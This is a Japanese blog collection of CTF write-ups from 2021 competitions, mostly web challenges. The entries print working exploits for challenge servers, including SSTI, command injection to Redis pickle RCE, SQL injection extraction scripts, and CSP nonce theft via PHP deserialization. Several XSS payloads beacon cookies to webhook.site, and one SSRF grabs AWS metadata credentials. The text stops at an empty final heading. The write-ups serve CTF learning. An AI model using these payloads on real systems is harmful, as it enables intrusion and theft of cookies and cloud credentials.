IJCTF 2021 writeup

7/24 - 7/25という日程で開催された。zer0ptsで参加して1位。

[Web 884] SodaFactory (19 solves)

次のようなソースコードが与えられる。/makeSoda にSSTIがあるが、sodajsという聞き慣れないテンプレートエンジンが使われている。

const express = require('express')
const soda = require('sodajs/node');

const app = express()
app.use(express.static('public'))
app.use(express.urlencoded({
  extended: true
}))

var images = {
  coke:"https://kellysdistributors.com.au/wp-content/uploads/387-1.jpg",
  pepsi:"https://static.winc.com.au/pi/70/0f795e8e7cbb8d4c874032865e2c8a246d6416-155505/lgsq.jpg",
  fanta:"https://cdn.shopify.com/s/files/1/2070/6751/products/Fanta.jpg?v=1545098502",
}

app.post('/makeSoda', (req, res) => {
  var {name, brand} = req.body;
  img = images[brand];
  res.send(soda(`
    <title>${name}</title>
    <img src='${img}' alt='${name}'>
  `,{}))
})

app.listen(process.env.PORT,'0.0.0.0', () => {
  console.log(`Listening`)
})

Node.jsなので "abc"["constructor"]["constructor"] にアクセスすれば eval 的なことができるんじゃないかな~と思って試したらいけた。

$ curl -g 'http://34.126.213.161:5553/makeSoda' -H 'Content-Type: application/x-www-form-urlencoded' --data-raw 'name={{"abc"["constructor"]["constructor"]("return process.env")()}}&brand=coke'

    <title>{
  "NODE_VERSION": "12.18.1",
  "HOSTNAME": "07aa9bddbe87",
  "YARN_VERSION": "1.22.4",
  "PORT": "3000",
  "HOME": "/root",
  "PATH": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
  "PWD": "/app",
  "FLAG": "IJCTF{Y00_maK3_g00D_50DA_MA73}"
}</title>
    <img src="https://kellysdistributors.com.au/wp-content/uploads/387-1.jpg" alt="[object Object]" />

[Web 999] Jinx (3 solves)

nginx-lua-moduleを使ったスクリプトである /cgi/ping にOSコマンドインジェクションがある。/cgi/ping?ip=;iduid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup) が返ってくる。

local hex_to_char = function(x)
  return string.char(tonumber(x, 16))
end

local unescape = function(url)
  return url:gsub("%%(%x%x)", hex_to_char)
end

local ping = function(ip)
  local cmd = "ping -c1 "..ip
  local p = io.popen(cmd, 'r')
  local s = assert(p:read('*a'))
  p:close()
  return s
end

local ip =  unescape(ngx.var.arg_ip)

ngx.say(ping(ip))

このOSコマンドインジェクションから他のサーバにSSRFができる。cdnapp.py ではRedisをキャッシュのために使っているから、SSRFでRedisサーバにペイロードを仕込んでやればRCEに持ち込める。というのも、Flask-CachingはデフォルトではpickleでシリアライズしたデータをRedisサーバに保存しているから。

from flask import Flask, request
from flask_caching import Cache
from redis import Redis

app = Flask(__name__)

cache = Cache(app, config={'CACHE_TYPE': 'redis','CACHE_REDIS_HOST':'redis'})

redis = Redis('redis')

...

@app.route('/uploads/<path:name>',methods=["GET"])
@cache.cached(timeout=30)
def uploads(name):
    d = redis.get(f"uploads_{name}")
    if d != None:
        return d
    else:
        return "Nothing with the name " + name

EVAL "redis.call('set', 'flask_cache_view//uploads/aikatsu', '!(pickle payload)')" 相当のコマンドをRedisサーバに対して送った上で /uploads/aikatsu にアクセスすれば、仕込んだペイロードが実行される。flag というファイルを読み込むようにしてやればフラグが得られる。

$ curl 'http://34.126.213.161:5551/cgi/ping?ip=;bash%20-c%20"exec%203<>/dev/tcp/redis/6379;echo%20-en%20\"PING\r\nEVAL redis.call(string.char(115,101,116),string.char(102,108,97,115,107,95,99,97,99,104,101,95,118,105,101,119,47,47,117,112,108,111,97,100,115,47,97,105,107,97,116,115,117),string.char(33,99,95,95,98,117,105,108,116,105,110,95,95,10,101,118,97,108,10,40,83,39,111,112,101,110,40,34,102,108,97,103,34,41,46,114,101,97,100,40,41,39,10,116,82,46)) 0\r\nQUIT\r\n\"%20>%263;%20sleep%200.5;%20cat%20<%263"%202>%261'
+PONG
$-1
+OK
$ curl 'http://34.126.213.161:5551/uploads/aikatsu' --output -
IJCTF{p1ckl3+4+p1VOt}

[Forensic 999] Black Letter (3 solves)

ぶっ壊れたPNGファイルが渡される。acTL とか fdAT といったチャンク名が見えるからAPNGと判断できる。バイナリエディタで各チャンクについて見ていくとチャンクサイズとCRCがすべて0になっているし、fcTLfdAT チャンクを見ていくとシーケンス番号からチャンクの順番がバラバラになっていることがわかる。

まず次のコードでチャンクサイズとCRCを直す。

import binascii
import struct
import re

def pack(x):
  return struct.pack('>I', x)

with open('message.png', 'rb') as f:
  data = f.read()

chunk_names = ['IHDR', 'acTL', 'tRNS', 'fcTL', 'fdAT', 'IEND']
pattern = re.compile('|'.join(chunk_names).encode())

res = data[:]
it = pattern.finditer(data)
curr = next(it)
for next_ in it:
  size = next_.start() - curr.start() - 12
  res = res[:curr.start() - 4] + pack(size) + res[curr.start():]

  chunk_name = curr.group(0)
  crc = binascii.crc32(data[curr.start():next_.start() - 8])
  res = res[:next_.start() - 8] + pack(crc) + res[next_.start() - 4:]

  curr = next_

res = res[:-4] + b'\xae\x42\x60\x82'

with open('result.png', 'wb') as f:
  f.write(res)

シーケンス番号をもとにチャンクを正しい順番に並べ替えた上で、各フレームを横に結合して1枚の画像として描画するようなAPNGビュアーを作る。

import io
import struct
import re
import zlib
from PIL import Image

def u8(x):
  return struct.unpack('>B', x)[0]

def u32(x):
  return struct.unpack('>I', x)[0]

def render(data, w, h):
  stream = io.BytesIO(data)
  im = Image.new('L', (w, h))
  pix = im.load()
  for y in range(h):
    mode = stream.read(1)
    for x in range(w):
      pix[x, y] = u8(stream.read(1)),
  return im

with open('result.png', 'rb') as f:
  data = f.read()

chunk_names = ['IDAT', 'fdAT', 'fcTL']
pattern = re.compile('|'.join(chunk_names).encode())

frames = []
it = pattern.finditer(data)
for curr in it:
  chunk_name = curr.group(0).decode()
  size = u32(data[curr.start()-4:curr.start()])
  tmp = data[curr.end():curr.end()+size]

  if chunk_name == 'fcTL':
    seqnum = u32(tmp[:4])
    width, height = u32(tmp[4:8]), u32(tmp[8:12])
    x_off, y_off = u32(tmp[12:16]), u32(tmp[16:20])
    dispose_op = u8(tmp[24:25])
    blend_op = u8(tmp[25:])
  elif chunk_name == 'IDAT':
    seqnum = 0
    tmp = zlib.decompress(tmp)
    im = render(tmp, 25, 25)
  elif chunk_name == 'fdAT':
    seqnum = u32(tmp[:4])
    tmp = zlib.decompress(tmp[4:])
    tmp_im = render(tmp, width, height)
    frames.append({
      'seqnum': seqnum,
      'im': tmp_im,
      'x_off': x_off,
      'y_off': y_off,
      'dispose_op': dispose_op,
      'blend_op': blend_op
    })

frames.sort(key=lambda x: x['seqnum'])
res = Image.new('L', (25 * len(frames), 25))
for i, frame in enumerate(frames):
  if frame['dispose_op'] == 1: # APNG_DISPOSE_OP_BACKGROUND
    im = Image.new('L', (25, 25))
  if frame['dispose_op'] == 2: # APNG_DISPOSE_OP_PREVIOUS
    tmp = im.copy()
  im.paste(frame['im'], (frame['x_off'], frame['y_off']))
  res.paste(im, (25 * i, 0))
  if frame['dispose_op'] == 2: # APNG_DISPOSE_OP_PREVIOUS
    im = tmp

res.show()
res.save('res2.png')

実行するとフラグが得られた。

f:id:st98:20210725165753p:plain

IJCTF{d34f6429957e3ec205d4f140c9b34a33}

redpwnCTF 2021 writeup

7/10 - 7/13という日程で開催された。zer0ptsで参加して4位。

[Web 103] pastebin-1 (612 solves)

かんたんXSS<script>navigator.sendBeacon('https://webhook.site/…',document.cookie)</script> でフラグが得られる。

flag{d1dn7_n33d_70_b3_1n_ru57}

[Web 104] secure (535 solves)

かんたんSQLi。

$ curl 'https://secure.mc.ax/login' -H 'content-type: application/x-www-form-urlencoded' --data-raw "username=YQ%3D%3D&password='OR'a'<'b"
Found. Redirecting to /?message=flag%7B50m37h1n6_50m37h1n6_cl13n7_n07_600d%7D

[Web 122] cool (125 solves)

INSERT 文内でSQLiできるが、50文字以下のペイロードginkoid というユーザのパスワードを抜き出す必要がある。'||(select substr(password,1,1) from users)||' というパスワードで登録すれば、ユーザ名はフォームから与えたものに、パスワードは users の最初のレコードの (つまり ginkoid の) パスワードの1文字目に設定される。こんな感じでn文字目のパスワードを含むユーザをSQLiで作った後、ログイン時にパスワードを総当たりすることで1文字ずつ特定できる。

ずっと select password from users だと複数のレコードが返ってきちゃうからエラーが起こりそうなあ、でも LIMIT 句とか WHERE 句を使おうにも文字数の制限があるしなあと悩んでいたが、aventadorさんの助言のおかげでSQLiteでは users に複数のレコードがあっても INSERT INTO users (username, password) VALUES ('user', (SELECT password FROM users)) はエラーを吐かないということに気づけた。ステレオタイプこわい。悩む前にまず試しましょう。

import requests
import random

allowed_characters = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ123456789'

def generate_token(n=32):
  return ''.join(
    random.choice(allowed_characters) for _ in range(n)
  )

URL = 'https://cool.mc.ax'
def register(username, password):
  req = requests.post(URL + '/register', data={
    'username': username,
    'password': password
  })
  return 'You are logged in' in req.text

def login(username, password):
  req = requests.post(URL, data={
    'username': username,
    'password': password
  })
  return 'You are logged in' in req.text

i = 1
result = ''
while True:
  username = generate_token()
  register(username, f"'||(select substr(password,{i},1) from users)||'")
  for c in allowed_characters:
    if login(username, c):
      result += c
      break
  else:
    print('done')
    break

  print(i, result)
  i += 1

これで eSecFnVoKUDCfGAxfHuQxuootJ6yjKX3 がパスワードだとわかる。ginkoid としてログインするとフラグが得られる。

flag{44r0n_s4ys_s08r137y_1s_c00l}

[Web 175] Requester (41 solves)

/testAPI にSSRFがあり、POSTメソッドでHTTPリクエストをCouchDBに送らせることができる。公式のドキュメントを参考にしながらBlind Regular Expression Injection Attackの要領でフラグが抜き出せる。

$ time curl -g 'https://requester.mc.ax/testAPI?method=POST&url=http://poyoyon:poyoyoyoyoyoyo@couchdB:5984/poyoyon/_find&data={"selector":{"flag":{"$regex":"^f(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}salt$"}}}'
success
real    0m3.347s
user    0m0.005s
sys     0m0.015s
$ time curl -g 'https://requester.mc.ax/testAPI?method=POST&url=http://poyoyon:poyoyoyoyoyoyo@couchdB:5984/poyoyon/_find&data={"selector":{"flag":{"$regex":"^a(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}salt$"}}}'
success
real    0m0.734s
user    0m0.015s
sys     0m0.006s

スクリプトはこんな感じ。

import requests
import json
import string
import time

username = 'poyoyon'
password = 'poyoyoyoyoyoyo'

def query(known):
  t = time.time()
  data = json.dumps({
    'selector': {
      'flag': {
        '$regex': '^' + known + '(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}salt$'
       }
    }
  })
  req = requests.get(f'https://requester.mc.ax/testAPI?method=POST&url=http://{username}:{password}@couchdB:5984/{username}/_find&data={data}')
  return time.time() - t

known = ''
while True:
  for c in '_' + string.printable.strip().replace('*', '').replace('+', '').replace('?', '').replace('.', ''):
    if query(known + c) > 1.5:
      known += c
      break
  print(known)

10~20分ぐらい待つとフラグが得られる。

$ python3 solve.py
f
fl
fla
flag
…
flag{JaVA_tHE_GrEAteST_WeB_lANguAge_32154}

[Web 196] notes (32 solves)

tagがエスケープされていないのでXSSできるが、10文字以下に抑える必要がある。文字数の制限はあるものの、何度もコンテンツを挿入できるのでペイロードを分割してやればよい。<script>…</script><img src=… onerror=…> も文字数の調整が難しかったり、そもそも発火しなかったりするので <style onload=…></style> でなんとかする。

以下のコードを実行して https://notes.mc.ax/view/(ユーザ名) を報告するとadminとしてログインした状態のCookieが得られる。そのままadminの投稿したノートを見るとフラグが得られる。

async function post(data) {
  return fetch('/api/notes', {
    method: 'POST',
    headers: {
      'Content-Type': 'application/json',
    },
    body: JSON.stringify(data)
  });
}

const a = [
  {"body": "a", "tag": "<style a='"},
  {"body": "a", "tag": "'onload='`"},
  {"body": "${navigator.sendBeacon(`https://webhook.site/…`,document.cookie)}", "tag": "`'></style>"},
];
for (const b of a) {
  await post(b);
}
flag{w0w_4n07h3r_60lf1n6_ch4ll3n63}

[Web 251] requester-strikes-back (19 solves)

Requesterの修正版。今度は /testAPI が以下のようにURLを厳格にチェックするようになり、couchdb がホスト名に含まれていれば弾かれるようになってしまった。

/* 43 */       URL urlURI = new URL(url);
/* 44 */       if (urlURI.getHost().toLowerCase().contains("couchdb"))
/* 45 */         throw new ForbiddenResponse("Illegal!"); 
/* 47 */       String urlDecoded = URLDecoder.decode(url, StandardCharsets.UTF_8);
/* 48 */       urlURI = new URL(urlDecoded);
/* 49 */       if (urlURI.getHost().toLowerCase().contains("couchdb"))
/* 50 */         throw new ForbiddenResponse("Illegal!"); 

couchdbIPアドレスを特定すればよいのかなあとか考えたが、よく考えるとA New Era of SSRFのような感じでURLパーサをごまかしてしまえばよかった。http://hoge@couchdb:5984@fuga/ を投げると、このチェックではなぜかホスト名が空文字列になるものの、その後のHTTPリクエストはちゃんと couchdb:5984 に送られる。

あとはRequesterとほぼ同じことをするだけ。ただ、なぜかBlind Regex Injection部分が動かなかった (レスポンスが返ってくる時間に差異がなかった) ので、^(既知の部分)(試す文字).*.(a*を100回繰り返す)(.*) を投げるとなぜか正解を引き当てたときにエラーが発生するという挙動を使ってフラグを得た。

import requests
import json
import string

username = 'nekoneko'
password = 'W1t306yCryjcVGsU'

def query(known):
  data = json.dumps({
    'selector': {
      'flag': {
         '$regex': '^' + known + '.*.' + 'a*' * 100 + '(.*)'
      }
    }
  })

  req = requests.get(f'https://requester-strikes-back.mc.ax/testAPI?method=POST&url=http://{username}:{password}@couchdb:5984@fuga/{username}/_find&data={data}')
  return 'Something went wrong' in req.text

known = 'fla'
while True:
  for c in string.printable.strip().replace('*', '').replace('+', '').replace('?', '').replace('.', ''):
    if query(known + c):
      known += c
      break
  print(known)
flag{TYp0_InsTEad_0F_JAvA_uRl_M4dN3ss_92643}

[Web 265] pastebin-2-social-edition (17 solves)

コメントができるPastebinみたいな感じ。adminにノートのURLを報告するとコメントを投稿してくれる。

innerHTML で検索すると以下の2箇所がヒットする。使われているDOMPurifyのバージョンは2.2.9だから自分でDOMPurifyの脆弱性を見つけない限り前者は使えない。後者はコメントの投稿時にAPIがエラーを返せばその内容を出力するというものだが、エラーメッセージにはユーザ入力が含まれないし、そのままでは使えないように思える。しかし、正常にコメントが投稿された場合には errormessageundefined であるから、もしPrototype PollutionができればXSSに持ち込める。

  document.querySelector('.paste').innerHTML = DOMPurify.sanitize(content);
    // if there's an error, show the message
    if (error) errorContainer.innerHTML = message;
    // otherwise, add the comment
    else {
      errorContainer.innerHTML = '';
      addComment(author, content);
    }

Prototype Pollutionはここ。フォーム内の各 fieldset について result[(fieldsetのname属性)][(inputのname属性)] = (inputのvalue) をしているので、__proto__ という name 属性を持つ fieldset を作ってやればPrototype Pollutionができる。

  // get form data into serializable object
  const parseForm = (form) => {
    const result = {};
    const fieldsets = form.querySelectorAll('fieldset');
    for (const fieldset of fieldsets) {
      const fieldsetName = decodeURIComponent(fieldset.name);
      if (!result[fieldsetName]) result[fieldsetName] = {};
      const inputs = fieldset.querySelectorAll('[name]');
      for (const input of inputs) {
        const inputName = decodeURIComponent(input.name);
        const inputValue = decodeURIComponent(input.value);
        result[fieldsetName][inputName] = inputValue;
      }
    }
    return result;
  };

以下のような内容のノートを作ってやってadminに報告するとフラグが得られた。

<form>
  <fieldset name="__proto_%255f">
    <input name="error" value="a">
    <input name="message" value="<img src=x onerror='navigator.sendBeacon(`https://webhook.site/…`,document.cookie)'>">
  </fieldset>
  <fieldset name="params">
    <input name="author">
    <input name="content">
    <input type="submit">
  </fieldset>
</form>
flag{m4yb3_ju57_a_l177l3_5u5p1c10u5}

WeCTF 2021 writeup

6/20 - 6/21という日程で開催された。zer0ptsで参加して4位。ほぼWeb問オンリーという私好みのCTFだったし問題の質が高くて楽しかったけれども、PingとURL Binという難しめの問題が解けなかったのがつらい。

[Web 50] GitHub (23 solves)

GitHub Actionsで悪いことをするやつ。GitHubのユーザ名を入力すると、GitHub Actionsが導入されたプライベートリポジトリに招待される。リリース時に走るスクリプト (docker.yml) とプルリクエスト時に走るスクリプト (pr.yml) がある。

docker.yml

name: Publish Docker
on: [release]
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
    - uses: actions/checkout@master
    - name: Publish to Registry
      uses: elgohr/Publish-Docker-Github-Action@master
      with:
        name: wectfchall/poop
        username: ${{ secrets.DOCKER_USERNAME }}
        password: ${{ secrets.DOCKER_PASSWORD }}

pr.yml

name: Say Hi

on: [pull_request]

jobs:
  build:

    runs-on: ubuntu-latest

    steps:
    - uses: actions/checkout@v2
    - name: Say Hi
      run: |
        echo "hi!!"

pr.yml を書き換えるプルリクエストを送ると、その書き換えた後のスクリプトが実行されてしまう。ptr-yudaiさんが curlsecrets.DOCKER_USERNAMEsecrets.DOCKER_PASSWORD を抜き出し、このクレデンシャルでDocker Hubのレジストリにログインできることを確認していた。docker run --rm -it wectfchall/flag でフラグ。

[Web 143] Cache (65 solves)

adminしか閲覧できない /flag というエンドポイントがある。ただ、以下のように .css .js .html という拡張子のページであれば10秒間キャッシュされる上に、/flag/hoge.css というようなパスでも /flag と同じコンテンツが返ってくる。これを使って、adminに /flag/hoge.css をアクセスさせた後に急いで自分もアクセスすればフラグが得られる。

class SimpleMiddleware:
    def __init__(self, get_response):
        self.get_response = get_response

    def __call__(self, request: HttpRequest):
        path = urllib.parse.urlparse(request.path).path
        if path in CACHE and CACHE[path][1] > time.time():
            return CACHE[path][0]
        is_static = path.endswith(".css") or path.endswith(".js") or path.endswith(".html")
        response = self.get_response(request)
        if is_static:
            CACHE[path] = (response, time.time() + 10)
        return response

[Web 379] Coin Exchange (62 solves)

WebSocketでCSRF

<script>
let wait = t => new Promise(r => setTimeout(r, t));
let ws = new WebSocket('ws://coin.sg.ctf.so:4001/', "ethexchange-api");
ws.onopen = async () => {
  await wait(500);
  ws.send(JSON.stringify({
    type: 'buy',
    content: {
      amount: "9999"
    }
  }));
  await wait(500);
  ws.send(JSON.stringify({
    type: 'transfer',
    content: {
      amount: "4.5",
      to_token: "854a7fc3322dfdc20176eba89c432a8db1e0f3b0020b44bdaa8829bbddbde137"
    }
  }));
};
</script>

[Web 592] Phish (110 solves)

SQLiteのSQLi問。INSERT 中でSQLiができるが、そのクエリの結果は成功したか失敗したかの1ビットでしか得られない。Error-basedにフラグを抜き出す。

import requests

HOST = 'http://phish.ny.ctf.so/'

def query(payload):
  r = requests.post(HOST + 'add', data={
    'username': payload,
    'password': ''
  })
  return 'integer overflow' in r.text

i = 1
res = ''
while True:
  c = 0
  for j in range(7):
    r = query(f"'),('',abs(-9223372036854775807 - case when unicode(substr((select group_concat(password) from user where username = 'shou'), {i}, 1)) & {1 << j} then 1 else 0 end)) -- ")
    if r:
      c |= 1 << j
  res += chr(c)
  print(i, res)
  i += 1

[Web 925] CloudTable (23 solves)

MySQLのSQLi問。CREATE TABLE 中のカラム名でSQLiができる。MySQLでは CREATE TABLE … SELECT 構文が使えるので、これで information_schema.tables からテーブル名を抜き出したり、フラグの格納されたテーブルからレコードを抜き出したりする。

その後に作成される権限の弱いユーザでは FILE 権限がなくてローカルファイルが読めない/書けないし、LOAD DATA INFILE も使えないしで、最初のSQLiで抽出したデータを読むことぐらいしかできない。

reCAPTCHAの悪口を言いながら test` text) select flag from cloudtable.flag; # という名前のカラムを持つテーブルを作成すると、そのレコードとしてフラグが入っている。

[Web 994] CSP 2/3 (19 solves)

単純なXSSのあるWebアプリケーションだが、default-src 'none'; script-src 'nonce-(ランダムに生成された文字列)'; … というような感じの厳しいCSPがある。以下のような悪用してくれと言わんばかりのヤバいスクリプトがあるが、これを使うにはCSPの都合上 nonce を特定する必要がある。

function add_js(filename, nonce) {
  var head = document.head;
  var script = document.createElement('script');
  script.nonce = nonce;
  script.src = filename;
  head.appendChild(script);
}
window.onhashchange = () => {let query = window.location.hash.substr(1).split('@'); add_js(query[0], query[1])};

CSPを発行するコードを見ると、report_uri_string というプロパティが report-uri ディレクティブに挿入されていて怪しい。ここに自分の管理下にあるWebサーバのURLを挿入できれば、CSP違反のレポートから nonce抜き出せるはず。

(script-src ディレクティブを report-uri の後に挿入すれば unsafe-inline を許可させられるのではないかと最初考えたが、重複するディレクティブが出現した場合には先に出現したものが優先され、後に出現したものは無視されるために無理っぽい)

<?php


namespace ShouFramework;
require_once "Typed.module";

class CSP extends Typed
{
    public $report_uri_string;

    protected function construct()
    {
        $this->report_uri_string = '/report_csp';
    }

    public function generate_nonce(){
        $rand_val = sha1(uniqid("", true));
        return base64_encode("$rand_val");
    }

    public function add_csp($nonces){
        $nonce = "";
        foreach ($nonces as $_nonce) $nonce .= "'nonce-$_nonce' ";
        header("Content-Security-Policy: trusted-types 'none'; object-src 'none'; default-src 'none'; script-src $nonce; script-src-elem $nonce; script-src-attr $nonce; img-src 'self'; style-src $nonce;style-src-elem $nonce;style-src-attr $nonce; base-uri 'self'; report-uri $this->report_uri_string;");
    }

    protected function destruct(){}
}

index.php を読むと unserialize をそこら中で呼んでいてとてもInsecure Deserializationっぽい。特にこの UserData のコンストラクタは user というGETパラメータを unserialize していて、容易に適当なオブジェクトを作れそう。

class UserData extends \ShouFramework\Typed {
    public $token_string;

    protected function construct() {
        if (isset($_GET["user"])) {
            $user = unserialize($_GET["user"]);
            if (get_class($user) != "UserData") \ShouFramework\shutdown();
            $this->token_string = $user->token_string;
        }
        // unauthenticated request
        $this->token_string = uniqid("", true);
        return $this;
    }
    protected function destruct(){}
}

ということで、まず unserialize されると CatWithHashGet を含む UserData が作られる文字列を出力するスクリプトを書く。CatWithHashGet はデストラクタが呼ばれると個別の記事ページが表示される。CatWithHashGet の持つ csp_object プロパティはCSPヘッダを発行するオブジェクトであり、これのプロパティをいじることで report-urihttp://example.com/log.php に書き換えられるようにしている。

index.php

<?php
require 'csp.php';

class CatWithHashGet {
  public $user_object;
  function __construct() {
    $this->template_object = new \ShouFramework\Template;
    $this->csp_object = new \ShouFramework\CSP;
  }
}

class UserData {
  function __construct() {
    $this->a = new CatWithHashGet;
    $this->a->user_object = &$this;
  }
}

$obj = new UserData;
echo str_replace(" ", "%20", serialize($obj)) . "\n";

csp.php

<?php
namespace ShouFramework;

class CSP {
  public function __construct() {
    $this->report_uri_string = "http://example.com/log.php";
  }
}

class Template {

}
$ php gen_serialized_object.php
O:8:"UserData":1:{s:1:"a";O:14:"CatWithHashGet":3:{s:11:"user_object";r:1;s:15:"template_object";O:22:"ShouFramework\Template":0:{}s:10:"csp_object";O:17:"ShouFramework\CSP":1:{s:17:"report_uri_string";s:26:"http://example.com/log.php";}}}

出力された文字列にセミコロンを加えて (加えないと Program integrity violated と表示されるのはなぜですか? Typed.module がなんかチェックしていたのは知っていますが、なぜセミコロンを加えるとバイパスできるんですか?) http://csp2.sf.ctf.so/?method=post&hash=(記事のID)&user=O:8:%22UserData%22:1:{s:1:%22a%22;O:14:%22CatWithHashGet%22:3:{s:11:%22user_object%22;r:1;s:15:%22template_object%22;O:22:%22ShouFramework\Template%22:0:{}s:10:%22csp_object%22;O:17:%22ShouFramework\CSP%22:1:{s:17:%22report_uri_string%22;s:26:%22http://example.com/log.php%22;};}} にアクセスすると、無事 report-uri が書き換わったページが表示された。

f:id:st98:20210621032338p:plain

XSSの起こる <script>test</script> というような内容の記事を投稿し、先程の report-uri が書き換わるペイロードをその記事のURLに付け加えてアクセスすると、以下のようにCSP違反を報告するレポートが http://example.com/log.php に送られる。これで log.php 側は nonce を知ることができる。

f:id:st98:20210621032636p:plain

これで最初のヤバいスクリプトを悪用する準備が整った。nonce が届くと nonce.txt に書き込む log.php と、nonce.txt が作成されれば #data:,(JavaScriptコード)@(特定したnonce)iframe のURLに付け加える index.php を用意する。index.php を置いているURLを報告するとフラグが得られた。

index.php

<?php
$hash = 'd113a7153458978273bbf83141b5737f7cf38342'; // <script>test</script>
$url = "http://csp2.sf.ctf.so/?method=post&hash=$hash&user=O:8:%22UserData%22:1:{s:1:%22a%22;O:14:%22CatWithHashGet%22:3:{s:11:%22user_object%22;r:1;s:15:%22template_object%22;O:22:%22ShouFramework\Template%22:0:{}s:10:%22csp_object%22;O:17:%22ShouFramework\CSP%22:1:{s:17:%22report_uri_string%22;s:26:%22http://example.com/log.php%22;};}}";
?>
<iframe src="<?= $url; ?>" id="iframe"></iframe>
<script>
let iframe = document.getElementById('iframe');
let id = setInterval(async () => {
  try {
    const a = await fetch('nonce.txt');
    if (!a.ok) {
      return;
    }

    const nonce = await a.text();
    console.log(nonce);
    clearInterval(id);

    iframe.src += '#data:,top.postMessage(document.cookie,"*")@' + nonce;
  } catch (e) {

  }
}, 200);

window.onmessage = e => {
  (new Image).src = 'log2.php?' + e.data;
};
</script>

log.php

<?php
$body = file_get_contents('php://input');
preg_match("/'nonce-(.+?)'/", $body, $matches);
$nonce = $matches[1];
file_put_contents('nonce.txt', $nonce);

TetCTF 2021 writeup

1/1 - 1/3という日程で開催された。zer0ptsで参加して6位。AMF問は解けなかったけど作問者の解説が勉強になった。あとTLS-poisonでSSRFする問題が出たんだったかな。詳しくはZeddyさんの記事を参照のこと。

[Web] HPNY

/^[a-z\(\)\_\.]+$/i という条件なら eval できるというPHP問。/?roll=passthru(end(filter_input_array(INPUT_GET)))&0=cat%20f* でフラグが得られる。

[Web] mysqlimit

MySQLのSQLi問。Orange先生のスライドを参考にまず /?id=(select%201%20from%20(select%20*%20from%20flag_here_hihi%20join%20flag_here_hihi%20as%20x%20using(id))%20as%20y)t_fl4g_name_su というカラム名の存在が確認できる。

あとはError-based Blind SQLiでやるだけ。

import requests
import urllib.parse
URL = 'http://45.77.255.164/?id='
TEMPLATE = '(select 1e308*(2*(ascii(right(left(t_fl4g_v3lue_su,{}),1))&{})) from flag_here_hihi limit 1)'

i = 1
res = ''
while True:
  c = 0
  for j in range(7):
    url = URL + urllib.parse.quote(TEMPLATE.format(i, 1 << j))
    req = requests.get(url)
    if 'DOUBLE' in req.text:
      c |= 1 << j
  res += chr(c)
  print(i, res)
  i += 1

[Web] Super Calc

/^[0-9\+\-\*\/\(\)\'\.\~\^\|\&]+$/i という条件なら eval できるというPHP問。/?calc=(%2740440040%27%5E%278-998%2689%27%5E%27%7C%7C~~%7C~~%7C%27)(%2744%27%5E%27%269%27%5E%27~~%27)fl4g1sH3re.php というファイルの存在が確認できる。/?calc=(%2740440040%27%5E%278-998%2689%27%5E%27%7C%7C~~%7C~~%7C%27)(%2700000*%27%5E%27--86**%27%5E%27~%7C%7C%26%7C*%27) でフラグが得られる。

justCTF [*] 2020 writeup

1/30 - 2/1という日程で開催された。zer0ptsで参加して5位。Web問がとても面白かった

[Web, Misc] Forgotten name

実質OSINT、https://crt.sh/?q=jctf.pro6a7573744354467b633372545f6c34616b735f6f3070737d.web.jctf.pro というサブドメインが見つかる。

[Web] Computeration Fixed

s1r1usさんがReDoSでフラグを少しずつ得られることを見つけていたので、雑に以下のようなスクリプトを書いた。これにアクセスさせると /log.php?23,a /log.php?19,b /log.php?26,c … という感じでアクセスログが流れていくが、_ に到達するまでにどこかで止まるはず。/log.php?17,s で止まったなら s が正解。

<body>
<script>
const f = async cand => {
  return new Promise(r => {
    const i = document.createElement('iframe');
    const t = new Date;
    i.src = 'https://computeration-fixed.web.jctf.pro/';
    i.onload = () => {
      //i.src = 'https://computeration-fixed.web.jctf.pro/#justCTF[{]' + cand + '[a-z_{}]+(.{0,100}){500}XXX';
      i.src = 'https://computeration-fixed.web.jctf.pro/#ju' + cand + '[a-z_{}]+(.{0,100}){500}XXX';
      r(new Date - t);
    };
    document.body.appendChild(i);
  });
};

(async () => {
  const known = '';
  for (const c of 'abcdefghijklmnopqrstuvwxyz_@') {
    const t = await f(known + c);
    (new Image).src = 'log.php?' + [t, known + c];
  }
})();
</script>
</body>

Tenable CTF 2021 writeup

2/18 - 2/22という日程で開催された。zer0ptsで参加して4位。

[Web] Hacking Toolz

AWSのSSRF。

<script>
(async () => {
(new Image).src = 'a.php?start';

const token = await (await fetch(
  'http://localhost/redir.php?url=http://169.254.169.254/latest/api/token', {
    headers: {
      'X-aws-ec2-metadata-token-ttl-seconds': '21600'
    },
    mode: 'cors',
    method: 'PUT'
  }
)).text();
(new Image).src = 'a.php?' + token;

const res = await (await fetch(
  'http://localhost/redir.php?url=http://169.254.169.254/latest/meta-data/iam/security-credentials', {
    headers: {
      'X-aws-ec2-metadata-token': token
    },
    mode: 'cors'
  }
)).text();
(new Image).src = 'a.php?' + encodeURIComponent(res); // => S3Role
})()
</script>

http://169.254.169.254/latest/meta-data/iam/security-credentials/S3Role が返す AccessKeyIdSecretAccessKey などを使ってS3バケットを覗くとフラグが得られる。

$ export AWS_ACCESS_KEY_ID='...'
$ export AWS_SECRET_ACCESS_KEY='...'
$ export AWS_SESSION_TOKEN='...'
$ aws s3 ls
2021-01-12 16:37:04 secretdocs
$ aws s3 ls s3://secretdocs
2021-01-12 18:22:24        241 leviathan.txt
$ aws s3 cp s3://secretdocs/leviathan.txt .
download: s3://secretdocs/leviathan.txt to ./leviathan.txt
$ cat leviathan.txt
no sound, once made, is ever truly lost
in electric clouds, all are safely trapped
and with a touch, if we find them
we can recapture those echoes of sad, forgotten wars
long summers, and sweet autumns

flag{cl0udy_with_a_chance_0f_flag5}

[Web] Send A Letter

XXE。

http://challenges.ctfd.io:30471/send_letter.php?letter=%3C?xml%20version=%221.0%22%20encoding=%22ISO-8859-1%22?%3E%3C!DOCTYPE%20hoge%20[%20%3C!ENTITY%20xxe%20SYSTEM%20%22/tmp/messages_outbound.txt%22%3E%20]%3E%3Cletter%3E%3Cfrom%3Ea%3C/from%3E%3Creturn_addr%3Eb%3C/return_addr%3E%3Cname%3E%26xxe;%3C/name%3E%3Caddr%3Ed%3C/addr%3E%3Cmessage%3Ee%3C/message%3E%3C/letter%3E

[Web] Thumbnail

